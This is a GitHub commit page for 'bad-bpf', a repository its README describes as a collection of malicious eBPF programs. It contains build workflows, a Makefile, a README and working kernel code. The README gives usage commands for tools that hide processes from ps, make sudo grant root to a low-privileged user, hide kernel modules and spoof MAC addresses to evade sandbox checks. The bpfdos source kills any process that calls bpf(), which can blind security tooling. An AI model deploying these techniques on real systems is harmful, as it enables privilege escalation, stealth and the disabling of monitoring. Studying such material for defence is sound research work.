-
Notifications
You must be signed in to change notification settings - Fork 82
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit b8ec5e1
Showing
23 changed files
with
130,529 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
name: CI | ||
|
||
on: | ||
push: | ||
branches: [ main ] | ||
pull_request: | ||
branches: [ main ] | ||
workflow_dispatch: | ||
|
||
jobs: | ||
build: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: Checkout code | ||
uses: actions/checkout@v2 | ||
with: | ||
submodules: recursive | ||
|
||
- name: Install Dependecies | ||
run: sudo apt install -y build-essential clang-11 libelf-dev zlib1g-dev libbfd-dev libcap-dev | ||
|
||
- name: Fix llvm-strip | ||
run: sudo ln -s "$(which llvm-strip-11)" "$(dirname $(which llvm-strip-11))/llvm-strip" | ||
|
||
- name: Build | ||
run: cd src && make |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
name: Publish Release | ||
|
||
on: | ||
push: | ||
tags: | ||
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10 | ||
|
||
|
||
jobs: | ||
build: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: Checkout code | ||
uses: actions/checkout@v2 | ||
with: | ||
submodules: recursive | ||
|
||
- name: Install Dependecies | ||
run: sudo apt install -y build-essential clang-11 libelf-dev zlib1g-dev libbfd-dev libcap-dev | ||
|
||
- name: Fix llvm-strip | ||
run: sudo ln -s "$(which llvm-strip-11)" "$(dirname $(which llvm-strip-11))/llvm-strip" | ||
|
||
- name: Build | ||
run: cd src && make | ||
|
||
- name: Create Archive | ||
run: cd src/bin && zip bad-bpf.zip * | ||
|
||
- name: Create Release | ||
id: create_release | ||
uses: actions/create-release@v1 | ||
env: | ||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
with: | ||
tag_name: ${{ github.ref }} | ||
release_name: Release ${{ github.ref }} | ||
draft: false | ||
prerelease: false | ||
|
||
- name: Upload Builds | ||
uses: actions/upload-release-asset@v1 | ||
env: | ||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
with: | ||
upload_url: ${{ steps.create_release.outputs.upload_url }} | ||
asset_path: ./src/bin/bad-bpf.zip | ||
asset_name: bad-bpf.zip | ||
asset_content_type: application/octet-stream |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
.vscode/ | ||
src/.output | ||
src/bin/bpfdos | ||
src/bin/pidhide | ||
src/bin/sudoadd | ||
src/bin/textreplace |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
[submodule "libbpf"] | ||
path = libbpf | ||
url = https://github.com/libbpf/libbpf.git |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
BSD 3-Clause License | ||
|
||
Copyright (c) 2020, Andrii Nakryiko | ||
All rights reserved. | ||
|
||
Redistribution and use in source and binary forms, with or without | ||
modification, are permitted provided that the following conditions are met: | ||
|
||
1. Redistributions of source code must retain the above copyright notice, this | ||
list of conditions and the following disclaimer. | ||
|
||
2. Redistributions in binary form must reproduce the above copyright notice, | ||
this list of conditions and the following disclaimer in the documentation | ||
and/or other materials provided with the distribution. | ||
|
||
3. Neither the name of the copyright holder nor the names of its | ||
contributors may be used to endorse or promote products derived from | ||
this software without specific prior written permission. | ||
|
||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" | ||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE | ||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE | ||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE | ||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL | ||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR | ||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER | ||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, | ||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | ||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
# Bad BPF | ||
A collection of malicious eBPF programs that make use of eBPF's ability to | ||
read and write user data in between the usermode program and the kernel. | ||
|
||
# Overview | ||
See my blog for an overview on how these programs work and why | ||
this is interesting: https://blog.tofile.dev/2021/.... | ||
|
||
|
||
# Build | ||
## Dependecies | ||
As this code makes use of CO-RE, it requires a recent version of Linux that has BTF Type information. | ||
See [these notes in the libbpf README](https://github.com/libbpf/libbpf/tree/master#bpf-co-re-compile-once--run-everywhere) | ||
for more information. For example Ubuntu requries `Ubuntu 20.10`+. | ||
|
||
To build it requires these dependecies: | ||
- zlib | ||
- libelf | ||
- libbfd | ||
- clang 11 | ||
- make | ||
|
||
On Ubuntu these can be installed by | ||
```bash | ||
sudo apt install build-essential clang-11 libelf-dev zlib1g-dev libbfd-dev libcap-dev libfd-dev | ||
``` | ||
|
||
## Build | ||
To use pre-build binaries, grab them from the [Releases](https://github.com/pathtofile/bad-bpf/releases) page. | ||
|
||
To Build from source, recusivly clone the respository the run `make` in the `src` directory to build: | ||
```bash | ||
git clone --recusrive https://github.com/pathtofile/bad-bpf.git | ||
cd bad-bpf/src | ||
make | ||
``` | ||
The binaries will built into `bad-bpf/src/bin`. | ||
|
||
# Run | ||
To run, launch each program as `root`. Every program has a `--help` option | ||
that has required arguemnts and examples. | ||
|
||
# Programs | ||
## Common Arguments | ||
As well as `--help`, every program also has a `--target-ppid`/`-t`. | ||
This option restricts the programs' operation to only programs that are children | ||
of the process matching this PID. This demonstrates to how affect some programs, but not others. | ||
|
||
## BPF-Dos | ||
```bash | ||
sudo ./bpfdos | ||
``` | ||
This program raises a `SIG_KILL` signal to any program attempting to use the `bpf` syscall. | ||
|
||
|
||
## Pid-Hide | ||
``` | ||
sudo ./pidhide --pid-to-hide 2222 | ||
``` | ||
This program hides the process matching this pid from tools such as `ps`. | ||
|
||
It works by hooking the `getdents64` syscall, as `ps` works by looking for every sub-folder | ||
of `/proc/`. PidHide unlinks the folder matching the PID, so `ps` only sees the folders before | ||
and after it. | ||
|
||
|
||
## Sudo-Add | ||
``` | ||
sudo ./sudoadd --username lowpriv-user | ||
``` | ||
This program allows a normally low-privledged user to use `sudo` to become root. | ||
|
||
It works by intercepting `sudo`'s reading of the `/etc/sudoers` file, and overwriting the first line | ||
with `<username> ALL=(ALL:ALL) NOPASSWD:ALL #`. This tricks sudo into thinking the user is allowed to become | ||
root. Other programs such as `cat` or `sudoedit` are unnafected, so to those programs the file is unchanged | ||
and the user does not have those privliges. The `#` at the end of the line ensures the rest of the line | ||
is trated as a comment, so it doesn't currup the file's logic. | ||
|
||
## Text-Replace | ||
``` | ||
sudo ./textreplace --filename /path/to/file --input foo --replace bar | ||
``` | ||
This program replaces all text matching `input` in the file with the `replace` text. | ||
This has a number of uses, for example: | ||
|
||
To hide kernel module `joydev` from tools such as `lsmod`: | ||
```bash | ||
./textreplace -f /proc/modules -i 'joydev' -r 'cryptd' | ||
``` | ||
|
||
Spoof the MAC address of the `eth0` interface: | ||
```bash | ||
/textreplace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' | ||
``` | ||
Malware conducting anti-sandbox checks might check the MAC address to look for signs it is | ||
running inside a Virtual Machine or Sandbox, and not on a 'real' machine. | ||
|
||
|
||
**NOTE:** Both `input` and `replace` must be the same length, to avoid adding NULL characters to the | ||
middle of a block of text. To enter a newline from a bash prompt, use `$'\n'`, e.g. `--replace $'text\n'`. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,86 @@ | ||
# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) | ||
OUTPUT := .output | ||
CLANG ?= clang | ||
LLVM_STRIP ?= llvm-strip | ||
BPFTOOL ?= $(abspath ../tools/bpftool) | ||
LIBBPF_SRC := $(abspath ../libbpf/src) | ||
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) | ||
INCLUDES := -I$(OUTPUT) | ||
CFLAGS := -g -Wall | ||
ARCH := $(shell uname -m | sed 's/x86_64/x86/') | ||
|
||
APPS = bpfdos pidhide sudoadd textreplace | ||
|
||
# Get Clang's default includes on this system. We'll explicitly add these dirs | ||
# to the includes list when compiling with `-target bpf` because otherwise some | ||
# architecture-specific dirs will be "missing" on some architectures/distros - | ||
# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, | ||
# sys/cdefs.h etc. might be missing. | ||
# | ||
# Use '-idirafter': Don't interfere with include mechanics except where the | ||
# build would have failed anyways. | ||
CLANG_BPF_SYS_INCLUDES = $(shell $(CLANG) -v -E - </dev/null 2>&1 \ | ||
| sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') | ||
|
||
ifeq ($(V),1) | ||
Q = | ||
msg = | ||
else | ||
Q = @ | ||
msg = @printf ' %-8s %s%s\n' \ | ||
"$(1)" \ | ||
"$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ | ||
"$(if $(3), $(3))"; | ||
MAKEFLAGS += --no-print-directory | ||
endif | ||
|
||
.PHONY: all | ||
all: $(APPS) | ||
|
||
.PHONY: clean | ||
clean: | ||
$(call msg,CLEAN) | ||
$(Q)rm -rf $(OUTPUT) $(APPS) | ||
$(Q)cd bin && rm -f $(APPS) | ||
|
||
$(OUTPUT) $(OUTPUT)/libbpf: | ||
$(call msg,MKDIR,$@) | ||
$(Q)mkdir -p $@ | ||
|
||
# Build libbpf | ||
$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf | ||
$(call msg,LIB,$@) | ||
$(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ | ||
OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ | ||
INCLUDEDIR= LIBDIR= UAPIDIR= \ | ||
install | ||
|
||
# Build BPF code | ||
$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) vmlinux.h | $(OUTPUT) | ||
$(call msg,BPF,$@) | ||
$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@ | ||
$(Q)$(LLVM_STRIP) -g $@ # strip useless DWARF info | ||
|
||
# Generate BPF skeletons | ||
$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) | ||
$(call msg,GEN-SKEL,$@) | ||
$(Q)$(BPFTOOL) gen skeleton $< > $@ | ||
|
||
# Build user-space code | ||
$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h common.h common_um.h | ||
|
||
$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) | ||
$(call msg,CC,$@) | ||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ | ||
|
||
# Build application binary | ||
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) | ||
$(call msg,BINARY,$@) | ||
$(Q)$(CC) $(CFLAGS) $^ -lelf -lz -o bin/$@ | ||
|
||
# delete failed targets | ||
.DELETE_ON_ERROR: | ||
|
||
# keep intermediate (.skel.h, .bpf.o, etc) targets | ||
.SECONDARY: | ||
|
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
#include "vmlinux.h" | ||
#include <bpf/bpf_helpers.h> | ||
#include <bpf/bpf_tracing.h> | ||
#include <bpf/bpf_core_read.h> | ||
#include "common.h" | ||
|
||
char LICENSE[] SEC("license") = "Dual BSD/GPL"; | ||
|
||
// Ringbuffer Map to pass messages from kernel to user | ||
struct { | ||
__uint(type, BPF_MAP_TYPE_RINGBUF); | ||
__uint(max_entries, 256 * 1024); | ||
} rb SEC(".maps"); | ||
|
||
// Optional Target Parent PID | ||
const volatile int target_ppid = 0; | ||
|
||
// This PID of BPFDOS, so we don't kill ourselves | ||
const volatile int bpfdos_pid = 0; | ||
|
||
SEC("tp/syscalls/sys_enter_bpf") | ||
int bpf_dos(struct trace_event_raw_sys_enter *ctx) | ||
{ | ||
// Check we don't stop bpfdos itself | ||
size_t pid_tgid = bpf_get_current_pid_tgid(); | ||
int pid = pid_tgid >> 32; | ||
if (pid == bpfdos_pid) { | ||
return 0; | ||
} | ||
// if target_ppid is 0 then we target all pids | ||
if (target_ppid != 0) { | ||
struct task_struct *task = (struct task_struct *)bpf_get_current_task(); | ||
int ppid = BPF_CORE_READ(task, real_parent, tgid); | ||
if (ppid != target_ppid) { | ||
return 0; | ||
} | ||
} | ||
|
||
// Send signal. 9 == SIGKILL | ||
long ret = bpf_send_signal(9); | ||
|
||
// Log event | ||
struct event *e; | ||
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); | ||
if (e) { | ||
e->success = (ret == 0); | ||
e->pid = pid; | ||
bpf_get_current_comm(&e->comm, sizeof(e->comm)); | ||
bpf_ringbuf_submit(e, 0); | ||
} | ||
|
||
return 0; | ||
} |
Oops, something went wrong.